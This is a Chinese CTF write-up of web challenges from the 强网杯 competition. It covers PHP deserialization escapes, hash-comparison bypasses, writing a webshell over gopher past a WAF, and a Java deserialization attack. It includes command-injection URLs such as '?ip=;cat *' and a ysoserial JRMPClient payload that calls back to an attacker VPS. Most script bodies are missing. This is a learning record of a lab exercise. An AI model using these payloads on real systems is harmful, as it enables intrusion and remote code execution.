打完强网杯就去学校报道了,抽空补一下wp。
强网先锋-辅助
反序列化逃逸,参考https://m0nit0r.top/2020/02/05/object-injection-caused-by-PHP-string-escape/#Joomla%E9%80%83%E9%80%B8再加上绕过wakeup,以及反序列化中使用大写S可用十六进制表示的一些绕过方式。
需要注意调试的时候最好url编码,直接echo \0 无法显示,算覆盖长度的时候容易出错。
1 |
|
强网先锋-主动
[http://39.96.23.228:10002/?ip=;cat%20*](http://39.96.23.228:10002/?ip=;cat *)
强网先锋-Funhash
Md4那个绕过,需要字符0e开头,后面都是数字,并且md4的结果需要是 0e[0-9]{30} 的形式。https://medium.com/@Asm0d3us/part-1-php-tricks-in-web-ctf-challenges-e1981475b3e4里面有现成的数。第二关数组绕过,数据库那个应该找到一个字符串,md5含有 ‘or’这种,一番搜索在https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes里找到了现成的数。[http://39.101.177.96/?hash1=0e001233333333333334557778889&hash2[]=1&hash3[]=2&hash4=129581926211651571912466741651878684928](http://39.101.177.96/?hash1=0e001233333333333334557778889&hash2[]=1&hash3[]=2&hash4=129581926211651571912466741651878684928)
half_infiltration
Ob_end_clean 导致什么也不会输出,需要触发异常直接退出,才能绕过。要反序列化两个对象,第一个用来取到$flag,第二个用全局 $this 触发异常,这样就会输出了。
1 |
|
Url二次编码读flag不成功,然后发现40000端口开着web服务,html代码就post一个file和content,应该是写文件。接下来就是写shell了,写了三个多小时。。。疯狂尝试,发现有WAF,所以用php://filter/convert.base64-decode/resource 搭配base64编码来写,但是貌似过滤了=这些,凑了个没有=的payload。而且文件不是直接写到uploads目录,访问index.php返回一个set-cookie,是写到了PHPSESSID的值对应的文件夹下,所以gopher发包要指定PHPSESSID,这个坑了很久。。生成gopher payload的脚本:
1 | import urllib |
打过去:
可以 getshell:
Dice2cry
向abi.php发了post请求,没有其他功能,试一下源码泄漏,abi.php.bak有源码。abi.php里是一个类似RSA parity oracle的东西,但是他需要 $_POST[‘this_is.able’] 来设置密文经尝试,用 this[is.able 可以绕过 php 对 . 的过滤
贴上队友 mcfx 大佬的脚本:
1 | import requests |
easy_java
Jdk 1.8,反序列化前有WAF。可以用ysoserial.exploit.JRMPListener CommonsCollections7打(6和7应该都可以),为了逃避检测,使用JRMP模拟RMI Client反打,参考:https://tiaotiaolong.net/2020/04/12/JRMPListener-&&-JRMPClient%E4%BD%BF%E7%94%A8%E5%B0%8F%E8%AE%B0/命令执行卡了很久,好像不能有引号,sh -c 后面的命令空格用${IFS}也死活不行,最后参考https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/,用$IFS$9才可以。。。测试的时候每次还需要换端口,一个端口第二次就不好用了,没有回连。Vps 上执行:
开启server,然后本地生成payload:
1 | java -jar ysoserial-master-30099844c6-1.jar JRMPClient 'vps:5562' > payload |
然后本地再打过去,触发反序列化:
1 | import requests |
访问日志: